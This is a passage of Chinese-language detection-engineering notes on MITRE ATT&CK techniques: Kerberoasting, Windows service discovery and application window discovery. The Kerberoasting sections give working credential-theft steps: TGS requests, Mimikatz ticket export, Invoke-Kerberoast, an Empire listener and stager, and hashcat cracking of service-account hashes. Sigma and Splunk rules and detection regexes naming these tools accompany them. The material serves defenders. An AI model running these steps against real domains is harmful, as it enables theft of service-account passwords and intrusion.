System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName ``` 3. **查看票证**: ```powershell klist ``` - 确认内存中包含目标SPN的TGS票证。 4. **导出票证**: 使用Mimikatz: ```cmd mimikatz.exe "kerberos::list /export" exit ``` - 导出票证为`.kirbi`文件。 5. **破解哈希**: 使用Kerberoast: ```bash python3 tgsrepcrack.py wordlist.txt ticket.kirbi ``` - **说明**: - 无需提权,仅需域用户权限即可请求TGS。 - 破解成功可获得服务账户明文密码。 - **权限**:域用户权限。 - **支持系统**:WindowsServer2008及以上(需ActiveDirectory环境)。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4769:Kerberos服务票证请求,记录TGS请求。 - 事件ID4624:账户登录,记录请求票证的账户。 - Sysmon日志: - 事件ID1:进程创建,记录PowerShell或Mimikatz的执行。 - 事件ID11:文件创建,记录导出的`.kirbi`文件。 - 网络流量(Netflow): - 检测DC的LDAP查询(端口389)或Kerberos流量(端口88)。 - 检测RC4加密类型(etype 23)的TGS-REP。 - 文件监控: - 检测非预期路径下的`.kirbi`文件。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机: - WindowsServer2012(域控制器,安装ActiveDirectory) - WindowsServer2016(运行服务,如SQLServer) - 工具: - PowerShellAD模块(SPN扫描) - Mimikatz(票证导出) - Kerberoast(TGS破解) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:SPN扫描与Kerberoasting 1. **安装PowerShellAD模块**: 在WindowsServer2016上: ```powershell Import-Module ServerManager; Add-WindowsFeature RSAT-AD-PowerShell ``` 2. **扫描SPN**: ```powershell setspn -T test.com -Q */* ``` - 假设发现`MSSQLSvc/DC1.test.com`。 3. **请求TGS**: ```powershell $SPNName = 'MSSQLSvc/DC1.test.com' Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName ``` 4. **验证票证**: ```powershell klist ``` - 确认TGS票证存在。 5. **导出票证**: 使用Mimikatz: ```cmd mimikatz.exe "kerberos::list /export" exit ``` - 导出为`ticket.kirbi`。 6. **传输票证到攻击机**: 通过SMB或HTTP将`ticket.kirbi`复制到Kali。 7. **破解哈希**: ```bash python3 tgsrepcrack.py /usr/share/wordlists/rockyou.txt ticket.kirbi ``` - 输出服务账户密码(如`Password123`)。 8. **结果分析**: - 成功:获得服务账户明文密码,可用于进一步攻击。 - 失败可能: - 域用户权限不足。 - SPN配置错误。 - 密码字典不包含目标密码。 ## 测试留痕 ### Windows安全日志 - 事件ID4769: ``` 事件ID:4769 服务名称:MSSQLSvc/DC1.test.com 账户名:user1 账户域:TEST 客户端地址:::ffff:192.168.1.100 票证选项:0x40810000 票证加密类型:0x17 ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:powershell.exe CommandLine:powershell -c "Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC1.test.com'" CurrentDirectory:C:\Users\user1\ User:TEST\user1 Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\mimikatz.exe TargetFilename:C:\Users\user1\ticket.kirbi ``` ### Netflow流量 - DC(192.168.1.10:88)与客户端(192.168.1.100)的Kerberos流量,包含RC4加密类型(etype 23)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`powershell.exe`执行SPN扫描或TGS请求。 - 检测`mimikatz.exe`的执行或票证导出行为。 2. 命令行分析: - 正则表达式匹配: ```regex powershell\.exe.*(setspn|KerberosRequestorSecurityToken) ``` ```regex mimikatz\.exe.*kerberos::list.*export ``` 3. 安全日志分析: - 监控事件ID4769,检测异常的TGS请求(频繁请求或针对蜜罐账户)。 - 检查`TicketEncryptionType`为0x17(RC4)。 4. 网络监控: - 检测DC的LDAP查询(端口389)或Kerberos流量(端口88)的异常模式。 - 监控RC4加密的TGS-REP流量。 5. 文件监控: - 检测`.kirbi`文件的创建或异常访问。 ### Sigma规则 优化后的Sigma规则,增强蜜罐账户检测: ```yaml title: SPN服务票证请求异常检测 id: 4b5c6d7e-8f9a-0b1c-2d3e-4f5a6b7c8d9e description: 检测异常的KerberosTGS票证请求,可能与SPN扫描或Kerberoasting相关 status: experimental references: - https://adsecurity.org/?p=3458 tags: - attack.credential_access - attack.t1558.003 logsource: product: windows service: security detection: selection: EventID: 4769 ServiceName|endswith: '$' # 针对服务账户或蜜罐账户 TicketEncryptionType: 0x17 # RC4加密 TicketOptions: 0x40810000 filter_legitimate: ClientAddress|startswith: - '::ffff:127.0.0.1' - '::ffff:192.168.1.1' # 已知DC地址 condition: selection and not filter_legitimate fields: - ServiceName - AccountName - ClientAddress - TicketEncryptionType falsepositives: - 合法的服务票证请求 level: medium ``` 规则说明: - 目标:检测针对服务账户(或蜜罐账户)的TGS请求,尤其是RC4加密类型。 - 过滤:排除DC自身或其他已知合法地址的请求。 - 日志来源:Windows安全日志事件ID4769。 - 误报处理:需配置蜜罐账户或结合SPN请求频率分析。 - 级别:标记为“中”优先级,因需结合其他证据确认。 ### Splunk规则 ```spl index=windows source="WinEventLog:Security" EventCode=4769 TicketEncryptionType=0x17 TicketOptions=0x40810000 ServiceName=*$ | fields ServiceName,AccountName,ClientAddress,TicketEncryptionType | search NOT ClientAddress IN ("::ffff:127.0.0.1","::ffff:192.168.1.1") ``` 规则说明: - 检测RC4加密的TGS请求,排除已知合法地址。 - 减少误报:结合服务账户名称和客户端地址分析。 ### 检测挑战 - 误报:合法服务票证请求可能触发,需配置蜜罐账户或分析请求频率。 - 日志依赖:需启用事件ID4769的详细日志。 - 隐蔽性:SPN扫描和TGS请求是正常Kerberos行为,难以通过传统网络监控检测。 ## 防御建议 1. 监控和日志: - 启用事件ID4769的详细审计,记录TGS请求。 - 部署Sysmon,配置针对PowerShell和Mimikatz的规则。 2. 账户保护: - 为服务账户设置强密码(至少15位,定期轮换)。 - 使用组策略限制服务账户的SPN注册。 3. 蜜罐账户: - 部署蜜罐服务账户,配置虚假SPN,触发检测规则。 4. 加密强化: - 禁用RC4加密(强制使用AES,组策略路径:`计算机配置>策略>管理模板>系统>Kerberos`)。 5. 网络监控: - 监控DC的Kerberos和LDAP流量,检测异常请求模式。 6. 安全更新: - 保持WindowsServer和ActiveDirectory更新。 ## 参考推荐 - MITREATT&CKT1558.003: - SPN扫描SQL服务主体脚本: - PowerShellAD侦察脚本: - ActiveDirectory中获取域管理员权限的攻击方法: - 使用Kerberoasting提取服务账户密码: - ActiveDirectory服务主体名称说明: - 检测Kerberoasting活动: - 检测Kerberoasting活动第2部分: - ActiveDirectoryPowerShell模块收集AD信息: - WCF安全系列-SPN与UPN: - Mimikatz:用于票证导出的工具。 - Kerberoast:用于TGS破解的工具。 - Sysmon配置与检测: ================================================ FILE: Windows/08凭证访问/T1558.003-Win-kerberosing.md ================================================ # T1558.003-Win-Kerberoasting ## 描述 Kerberoasting是一种凭据窃取技术,攻击者利用有效的Kerberos票证授予票证(TGT),向域控制器(DC)请求票证授予服务(TGS)票证,针对服务主体名称(SPN)关联的服务账户进行离线暴力破解。SPN用于唯一标识Windows服务实例,需与至少一个服务账户(如运行服务的域账户)关联以启用Kerberos身份验证。 TGS票证的部分数据使用RC4算法加密(Kerberos5TGS-REP etype 23),以服务账户的NTLM哈希作为密钥,易受离线破解攻击,可能暴露明文密码。攻击者无需向目标服务发送流量,仅与DC交互,隐蔽性高。破解的凭据可用于持久化、特权提升或横向移动。 ## 测试案例 ### 测试案例1:使用PowerSploit进行Kerberoasting 通过PowerSploit的`Invoke-Kerberoast`模块扫描SPN并请求TGS票证,导出哈希进行破解。 **命令**: ```powershell Import-Module .\Invoke-Kerberoast.ps1 Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -FilePath kerberoast_hashes.txt hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt ``` - **说明**: - 扫描域内SPN,请求TGS票证,导出RC4哈希。 - 使用Hashcat破解哈希。 - **权限**:域用户权限。 - **支持系统**:WindowsServer2008及以上(需ActiveDirectory环境)。 ### 测试案例2:使用Empire进行Kerberoasting 通过Empire框架执行Kerberoasting攻击。 **命令**: ```powershell (Empire)> usemodule credentials/invoke_kerberoast (Empire)> set OutputFormat Hashcat (Empire)> execute ``` - **说明**: - Empire自动化扫描SPN并导出TGS哈希。 - 输出格式兼容Hashcat或John。 - **权限**:域用户权限。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4769:Kerberos服务票证请求,记录TGS请求。 - 事件ID4624:账户登录,记录请求票证的账户。 - Sysmon日志: - 事件ID1:进程创建,记录PowerShell或EmpireAgent的执行。 - 事件ID11:文件创建,记录导出的哈希文件。 - 网络流量(Netflow): - 检测DC的Kerberos流量(端口88),重点关注RC4加密类型(etype 23)。 - 检测LDAP查询(端口389)用于SPN扫描。 - 文件监控: - 检测非预期路径下的哈希文件(如`.txt`或`.kirbi`)。 ### 日志示例 - 安全日志(事件ID4769): ``` 事件ID:4769 服务名称:MSSQLSvc/DC1.test.com 账户名:user1 账户域:TEST 客户端地址:::ffff:192.168.1.100 票证选项:0x40810000 票证加密类型:0x17 (RC4-HMAC) ``` - Sysmon事件ID1: ``` 事件ID:1 OriginalFileName:powershell.exe CommandLine:powershell.exe -ExecutionPolicy Bypass -File Invoke-Kerberoast.ps1 CurrentDirectory:C:\Users\user1\ User:TEST\user1 Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机: - WindowsServer2012(域控制器,安装ActiveDirectory) - WindowsServer2016(运行服务,如SQLServer) - 工具: - PowerSploit(Invoke-Kerberoast) - Empire(Kerberoast模块) - Hashcat(哈希破解) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:使用PowerSploit进行Kerberoasting 1. **获取域用户权限**: - 使用已知域用户凭据登录WindowsServer2016: ```cmd net use \\DC1.test.com\IPC$ /user:TEST\user1 Password123 ``` 2. **导入PowerSploit模块**: ```powershell Import-Module .\Invoke-Kerberoast.ps1 ``` 3. **执行Kerberoasting**: ```powershell Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -FilePath kerberoast_hashes.txt ``` 4. **传输哈希文件**: 将`kerberoast_hashes.txt`复制到Kali。 5. **破解哈希**: ```bash hashcat -m 13100 -a 0 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt ``` - 输出示例:`MSSQLSvc/DC1.test.com:Password123` 6. **结果分析**: - 成功:获得服务账户密码,可用于进一步攻击。 - 失败可能: - 域用户权限不足。 - SPN未正确注册。 - 密码字典不包含目标密码。 #### 测试2:使用Empire进行Kerberoasting 1. **启动Empire**: 在Kali上: ```bash empire ``` 2. **配置监听器**: ```powershell (Empire)> listeners (Empire)> uselistener http (Empire)> execute ``` 3. **生成Agent**: ```powershell (Empire)> usestager multi/launcher (Empire)> set Listener http (Empire)> execute ``` 4. **在靶机执行Agent**: 在WindowsServer2016上运行生成的PowerShell脚本,建立与Empire的连接。 5. **执行Kerberoasting**: ```powershell (Empire)> usemodule credentials/invoke_kerberoast (Empire)> set OutputFormat Hashcat (Empire)> execute ``` 6. **破解哈希**: 重复测试1的步骤4-5。 7. **结果分析**: - 成功:通过Empire自动化提取并破解服务账户密码。 - 失败可能:Agent连接失败或网络限制。 ## 测试留痕 ### Windows安全日志 - 事件ID4769: ``` 事件ID:4769 服务名称:MSSQLSvc/DC1.test.com 账户名:user1 账户域:TEST 客户端地址:::ffff:192.168.1.100 票证选项:0x40810000 票证加密类型:0x17 ``` ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:powershell.exe CommandLine:powershell.exe -ExecutionPolicy Bypass -File Invoke-Kerberoast.ps1 CurrentDirectory:C:\Users\user1\ User:TEST\user1 Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\System32\powershell.exe TargetFilename:C:\Users\user1\kerberoast_hashes.txt ``` ### Netflow流量 - DC(192.168.1.10:88)与客户端(192.168.1.100)的Kerberos流量,包含RC4加密类型(etype 23)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`powershell.exe`执行SPN扫描或Kerberoasting脚本。 - 检测EmpireAgent的执行。 2. 命令行分析: - 正则表达式匹配: ```regex powershell\.exe.*(Invoke-Kerberoast|KerberosRequestorSecurityToken) ``` 3. 安全日志分析: - 监控事件ID4769,检测频繁的TGS请求或RC4加密类型(0x17)。 - 结合事件ID4624,分析请求账户的异常行为。 4. 网络监控: - 检测DC的Kerberos流量(端口88)中RC4加密的TGS-REP。 - 监控LDAP查询(端口389)用于SPN扫描。 5. 文件监控: - 检测`.txt`或`.kirbi`文件的创建,包含哈希或票证数据。 ### Sigma规则 优化后的Sigma规则,增强检测能力: ```yaml title: Kerberos弱加密TGS请求检测 id: 5c6d7e8f-9a0b-1c2d-3e4f-5a6b7c8d9e0f description: 检测KerberosTGS请求使用RC4加密,可能与Kerberoasting相关 status: experimental references: - https://adsecurity.org/?p=3458 tags: - attack.credential_access - attack.t1558.003 logsource: product: windows service: security detection: selection: EventID: 4769 TicketEncryptionType: 0x17 # RC4加密 TicketOptions: 0x40810000 filter_legitimate: ServiceName|endswith: - 'krbtgt' - 'kadmin' condition: selection and not filter_legitimate fields: - ServiceName - AccountName - ClientAddress - TicketEncryptionType falsepositives: - 合法的RC4加密TGS请求 level: medium ``` 规则说明: - 目标:检测使用RC4加密的TGS请求。 - 过滤:排除`krbtgt`等合法服务账户的请求。 - 日志来源:Windows安全日志事件ID4769。 - 误报处理:需结合请求频率或蜜罐账户分析。 - 级别:标记为“中”优先级,因需进一步确认恶意行为。 ### Splunk规则 ```spl index=windows source="WinEventLog:Security" EventCode=4769 TicketEncryptionType=0x17 TicketOptions=0x40810000 NOT ServiceName IN ("*krbtgt","*kadmin") | fields ServiceName,AccountName,ClientAddress,TicketEncryptionType ``` 规则说明: - 检测RC4加密的TGS请求,排除已知合法服务账户。 - 减少误报:结合服务名称和客户端地址分析。 ### 检测挑战 - 误报:合法RC4加密请求可能触发,需配置蜜罐账户或分析请求频率。 - 日志依赖:需启用事件ID4769的详细日志。 - 隐蔽性:Kerberoasting仅与DC交互,难以通过传统网络监控检测。 ## 防御建议 1. 监控和日志: - 启用事件ID4769的详细审计,记录TGS请求。 - 部署Sysmon,配置针对PowerShell的规则。 2. 账户保护: - 为服务账户设置强密码(至少15位,定期轮换)。 - 限制SPN注册,禁用不必要的服务账户。 3. 蜜罐账户: - 部署蜜罐服务账户,配置虚假SPN,触发检测。 4. 加密强化: - 禁用RC4加密,强制使用AES(组策略路径:`计算机配置>策略>管理模板>系统>Kerberos`)。 5. 网络监控: - 监控DC的Kerberos和LDAP流量,检测异常模式。 6. 安全更新: - 保持WindowsServer和ActiveDirectory更新。 ## 参考推荐 - MITREATT&CKT1558.003: - 检测Kerberoasting活动: - PowerSploit:包含Invoke-Kerberoast模块。 - Empire:包含Kerberoast模块。 - Hashcat:用于哈希破解的工具。 - Sysmon配置与检测: ================================================ FILE: Windows/09发现/T1007-win-系统服务发现.md ================================================ # T1007-Windows系统服务发现 ## 描述 攻击者通过系统服务发现(T1007)获取目标系统上运行的注册服务信息,以了解系统配置、识别关键服务(如防病毒软件、防火墙或域控相关服务)或为后续攻击(如权限提升、服务滥用或持久化)收集情报。常见命令包括 Windows 原生工具如 `sc query`、`tasklist /svc` 和 `net start`,以及PowerShell命令(`Get-Service`、`Get-WmiObject Win32_Service`)或WMI查询。攻击者可能在自动发现阶段使用这些信息来决定是否感染目标、执行特定操作或识别高价值服务。 在域环境中,攻击者可能通过服务发现定位域控制器服务(如Active Directory相关服务)或高权限进程,以计划进一步的攻击路径。攻击者还可能使用第三方工具(如PsService)或自定义脚本以减少日志痕迹。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016 / Windows 10 - 权限:普通用户或管理员账户 - 工具:CMD、PowerShell、WMIC ### 测试案例 1:使用 `sc query` ```dos C:\Windows\system32>sc query SERVICE_NAME: BFE DISPLAY_NAME: Base Filtering Engine TYPE : 20 WIN32_SHARE_PROCESS STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 SERVICE_NAME: WinDefend DISPLAY_NAME: Windows Defender Antivirus Service TYPE : 10 WIN32_OWN_PROCESS STATE : 1 STOPPED (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 ``` ### 测试案例 2:使用 `tasklist /svc` ```dos C:\Windows\system32>tasklist /svc 映像名称 PID 服务 ========================= ======== ============================================ svchost.exe 896 BFE, Dhcp, EventLog svchost.exe 1024 WinDefend System Idle Process 0 N/A System 4 N/A ``` ### 测试案例 3:使用 `net start` ```dos C:\Windows\system32>net start 已经启动以下 Windows 服务: Background Tasks Infrastructure Service Base Filtering Engine Windows Defender Antivirus Service ``` ### 测试案例 4:使用 PowerShell ```powershell PS C:\> Get-Service | Select-Object Name, DisplayName, Status Name DisplayName Status ---- ----------- ------ BFE Base Filtering Engine Running WinDefend Windows Defender Antivirus Service Stopped ``` ### 测试案例 5:使用 WMIC ```dos C:\Windows\system32>wmic service list brief Name StartMode State BFE Auto Running WinDefend Manual Stopped ``` **说明**: - 普通用户可以运行 `sc query` 和 `net start`,但可能无法获取某些高权限服务的详细信息。 - 管理员权限下,命令输出更完整,可能包含敏感服务信息。 ## 检测日志 - **Windows 事件日志(安全日志)**: - 事件 ID 4688:进程创建,记录 `sc.exe`、`tasklist.exe`、`net.exe` 等进程的启动。 - 事件 ID 4656/4658:对象句柄请求/关闭,可能涉及 WMI 查询。 - 事件 ID 4703:权限调整,可能涉及服务查询时的特权提升。 - **Windows 事件日志(系统日志)**: - 事件 ID 7045:新服务被创建,可能与攻击者后续操作相关。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数和父进程信息。 - 事件 ID 11:文件创建,记录服务相关的配置文件访问。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录PowerShell命令执行,如 `Get-Service` 或 `Get-WmiObject`。 **要求**: - 启用 Windows安全日志的进程跟踪(`Audit Process Creation`)。 - 启用 PowerShell脚本块日志(`Module Logging` 和 `Script Block Logging`)。 - 部署 Sysmon并配置进程创建和文件访问监控。 ## 测试留痕 - **进程相关**: - 进程创建(`sc.exe`、`tasklist.exe`、`net.exe`、`powershell.exe`、`wmic.exe`)。 - 父进程(如 `cmd.exe` 或 `powershell.exe`)和命令行参数。 - **文件访问**: - 访问 `C:\Windows\System32` 中的可执行文件(如 `sc.exe`)。 - 可能的输出文件(如攻击者将服务列表导出到文件)。 - **注册表访问**: - 查询 `HKLM\SYSTEM\CurrentControlSet\Services` 以获取服务配置。 - **网络痕迹**: - WMI 远程查询可能产生DCOM相关网络流量(端口135、动态高位端口)。 - **隐藏手段**: - 使用PowerShell脚本或第三方工具(如PsService)减少命令行日志。 - 重定向输出(如 `sc query > services.txt`)以隐藏直接输出。 ## 检测规则/思路 ### Sigma 规则 ```yml title: Windows系统服务发现 description: 检测通过sc.exe,tasklist.exe,net.exe,PowerShell或WMI执行系统服务发现的行为 references: - https://attack.mitre.org/techniques/T1007/ tags: - attack.discovery - attack.t1007 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 4688 # 新进程创建 NewProcessName|endswith: - '\sc.exe' - '\tasklist.exe' - '\net.exe' - '\net1.exe' - '\wmic.exe' CreatorProcessName|endswith: '\cmd.exe' ProcessCommandLine|contains: - 'query' - 'qc' - '/svc' - 'start' - 'service' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-Service' - 'Get-WmiObject Win32_Service' - 'Get-CimInstance Win32_Service' condition: selection_cmd or selection_powershell timeframe: 5m fields: - NewProcessName - ProcessCommandLine - CreatorProcessName - ScriptBlockText level: medium falsepositives: - 合法的IT管理工具或脚本(如SCCM、WSUS)可能触发类似行为 - 管理员手动运行服务查询命令 ``` ### 检测思路 1. **进程监控**: - 监控 `sc.exe`、`tasklist.exe`、`net.exe`、`wmic.exe` 和 `powershell.exe` 的进程创建事件(事件ID4688)。 - 关注命令行参数中包含 `query`、`qc`、`/svc`、`start` 或 `service` 的行为。 2. **PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-Service`、`Get-WmiObject` 或 `Get-CimInstance` 的执行。 3. **WMI 监控**: - 检测 `wmic.exe` 进程启动,尤其是命令行中包含 `service` 的情况。 - 监控 WMI 相关的DCOM网络流量(端口135及高位端口)。 4. **行为分析**: - 检测短时间内高频的服务查询行为(如5分钟内多次触发)。 - 结合上下文(如异常用户、非常规时间段)提高检测准确性。 ## 建议 1. **防御措施**: - 限制普通用户对服务查询的权限(如通过组策略限制 `sc.exe` 或 WMI 访问)。 - 部署EDR工具,监控异常进程行为和命令行参数。 - 启用PowerShell脚本块日志(事件ID4104)和Sysmon日志,记录详细的进程和脚本执行信息。 2. **检测优化**: - 结合上下文分析,如检测异常用户账户、非常规时间段或高频服务查询行为。 - 监控WMI相关的DCOM网络流量(端口135及高位端口),识别远程服务查询。 - 使用机器学习或行为分析检测异常的服务查询模式(如大量服务枚举)。 3. **降低误报**: - 排除已知的合法管理脚本或工具(如SCCM、IT管理工具)触发的服务查询。 - 调整规则中的时间窗口(如从1分钟延长到5分钟),以捕捉完整的攻击链。 4. **其他工具**: - 攻击者可能使用第三方工具(如PsService、ServiceControl)或自定义脚本,建议监控未知可执行文件的运行。 ## 参考推荐 - MITRE ATT&CK: T1007 - Sysmon配置指南 - Elastic SIEM检测规则 - Microsoft Defender for Endpoint服务发现检测 - PowerShell日志配置指南 ================================================ FILE: Windows/09发现/T1010-win-应用程序窗口发现.md ================================================ # T1010-Win-应用程序窗口发现 ## 描述 攻击者通过应用程序窗口发现(T1010)获取目标系统上打开的应用程序窗口列表,以了解系统使用情况、推断用户行为或为其他攻击(如键盘记录、进程注入或目标选择)提供上下文信息。在Windows系统中,攻击者可能使用PowerShell命令(如 `Get-Process | Where-Object {$_.MainWindowTitle -ne ""}`)、COM对象(如 `Shell.Application` 的 `Windows()` 方法)或直接调用 Windows API(如 `EnumWindows`)来枚举窗口信息。在Mac系统中,攻击者可能使用AppleScript或 `osascript` 脚本获取活动窗口列表。攻击者可利用这些信息识别关键应用程序(如浏览器、密码管理器或远程桌面客户端),以进一步执行恶意操作。 典型场景包括:攻击者结合键盘记录收集窗口上下文,定位高价值进程或确认目标系统的活动状态。 ## 测试案例 ### 环境 - **Windows**:Windows Server 2016 / Windows 10, PowerShell 5.1 或更高,普通用户或管理员权限 - **Mac**:macOS Ventura 或更高,普通用户权限 - **工具**:PowerShell, CMD, AppleScript ### 测试案例 1:PowerShell - Get-Process ```powershell Get-Process | Where-Object {$_.MainWindowTitle -ne ""} | Select-Object ProcessName, MainWindowTitle, Path ``` **输出示例**: ```powershell PS C:\WINDOWS\system32> Get-Process | Where-Object {$_.MainWindowTitle -ne ""} | Select-Object ProcessName, MainWindowTitle, Path ProcessName MainWindowTitle Path ----------- --------------- ---- cmd C:\WINDOWS\system32\cmd.exe C:\WINDOWS\system32\cmd.exe powershell 管理员: Windows PowerShell C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TextInputHost Microsoft Text Input Application C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Input... ``` ### 测试案例 2:PowerShell - COM 对象 ```powershell ([Activator]::CreateInstance([Type]::GetTypeFromCLSID("13709620-C279-11CE-A49E-444553540000"))).Windows() | Select-Object LocationName, LocationURL, HWND ``` **输出示例**: ```powershell PS C:\WINDOWS\system32> ([Activator]::CreateInstance([Type]::GetTypeFromCLSID("13709620-C279-11CE-A49E-444553540000"))).Windows() | Select-Object LocationName, LocationURL, HWND LocationName LocationURL HWND ------------ ----------- ---- 快速访问 394180 ``` ### 测试案例 3:CMD - tasklist ```dos tasklist /v /fo csv | findstr /v "N/A" ``` **输出示例**: ```powershell PS C:\WINDOWS\system32> tasklist /v /fo csv | findstr /v "N/A" "MicrosoftEdgeUpdate.exe","5676","Services","0","4,504 K","Unknown","NT AUTHORITY\SYSTEM","0:00:00","??" "PopBlock.exe","5548","Console","1","5,540 K","Running","DESKTOP-4C7J879\heihei","0:00:05","??" "MicrosoftEdgeUpdate.exe","5560","Console","1","4,544 K","Running","DESKTOP-4C7J879\heihei","0:00:00","{2D905E07-FC38-4b89-83E1-931D3630937F}" ``` **说明**: - Windows 测试案例需要PowerShell 5.1或更高版本,部分命令(如COM对象)可能需要管理员权限。 - `tasklist /v` 提供窗口标题信息,但输出需过滤以排除无窗口的进程。 ## 检测日志 - **Windows**: - **安全日志**: - 事件 ID 4688:进程创建,记录 `powershell.exe` 或 `cmd.exe` 的执行。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 命令或脚本块执行(如 `Get-Process` 或 COM 对象调用)。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数和父进程信息。 - 事件 ID 11:文件创建,记录可能的脚本或输出文件。 - **Mac**: - **系统日志**:通过 `log show --predicate 'process == "osascript"'` 查看 AppleScript 执行。 - **Unified Logging**:记录 `System Events` 的调用。 - **要求**: - Windows:启用 `Audit Process Creation`(安全日志)、PowerShell `Script Block Logging` 和 `Module Logging`。 - Mac:启用 `com.apple.systemevents` 日志记录。 ## 测试留痕 - **Windows**: - **进程相关**: - 进程创建:`powershell.exe`、`cmd.exe` 或 `tasklist.exe`。 - 命令行参数:如 `Get-Process | Where-Object {$_.MainWindowTitle`。 - **文件访问**: - 可能的输出文件(如 `Get-Process` 结果导出到CSV)。 - 脚本文件(如 `.ps1` 文件)创建或访问。 - **注册表访问**: - 查询 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`(可能结合持久化)。 - **网络痕迹**: - 远程PowerShell执行可能涉及 WinRM(端口5985/5986)。 - **Mac**: - **进程相关**: - 进程创建:`osascript` 或 `System Events`。 - **日志痕迹**: - `/var/log/system.log` 或 `log show` 中记录AppleScript执行。 - **隐藏手段**: - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)或第三方工具(如AutoHotkey、PyAutoGUI)。 - 攻击者可能将输出重定向到文件或通过网络传输以减少本地痕迹。 ## 检测规则/思路 ### Sigma 规则 ```yml title: Windows应用程序窗口发现 description: 检测通过PowerShell、CMD执行应用程序窗口发现的行为 references: - https://attack.mitre.org/techniques/T1010/ tags: - attack.discovery - attack.t1010 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_windows_cmd: EventID: 4688 # 新进程创建 NewProcessName|endswith: - '\powershell.exe' - '\tasklist.exe' - '\cmd.exe' ProcessCommandLine|contains: - 'Get-Process | Where-Object {$_.MainWindowTitle' - '[Activator]::CreateInstance([Type]::GetTypeFromCLSID' - 'tasklist /v' selection_windows_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-Process | Where-Object {$_.MainWindowTitle' - '[Activator]::CreateInstance([Type]::GetTypeFromCLSID' condition: selection_windows_cmd or selection_windows_powershell timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText level: medium falsepositives: - 合法的IT管理脚本可能触发类似行为 - 管理员手动运行窗口查询命令 ``` ### 检测思路 1. **进程监控**: - 监控 `powershell.exe`、`cmd.exe`、`tasklist.exe` 和 `osascript` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `Get-Process`、`MainWindowTitle`、`tasklist /v` 或 `System Events` 的行为。 2. **PowerShell 监控**: - 启用PowerShell脚本块日志,检测 `Get-Process` 或COM对象调用。 3. **行为分析**: - 检测短时间内高频的窗口枚举行为(5分钟内多次触发)。 - 结合上下文(如异常用户、未知父进程)提高检测准确性。 ## 建议 1. **防御措施**: - **Windows**: - 限制普通用户的PowerShell执行权限(如通过组策略限制 `powershell.exe`)。 - 启用PowerShell脚本块日志和模块日志,记录详细命令执行。 - 部署EDR工具,监控异常进程行为(如 `tasklist /v` 或COM对象调用)。 - **Mac**: - 限制 `osascript` 的执行权限,仅允许受信任的脚本运行。 - 使用Gatekeeper或XProtect阻止未经签名的AppleScript。 2. **检测优化**: - 监控短时间内高频的窗口枚举行为(5分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测 WinRM(端口5985/5986)或 DCOM(端口135)流量,识别远程窗口发现。 3. **降低误报**: - 排除已知的IT管理工具(如 SCCM、Ansible)或合法脚本触发的行为。 - 配置白名单,过滤常见的管理员操作(如 `tasklist /v` 用于调试)。 4. **其他工具**: - 攻击者可能使用第三方工具(如AutoHotkey、PyAutoGUI)或自定义脚本,建议监控未知可执行文件的运行。 ## 参考推荐 - MITRE ATT&CK: T1010 - Sysmon配置指南 - PowerShell日志配置指南 - Elastic SIEM检测规则 - 应用程序窗口发现技术分析 ================================================ FILE: Windows/09发现/T1012-win-查询注册表.md ================================================ # T1012-Win-查询注册表 ## 描述 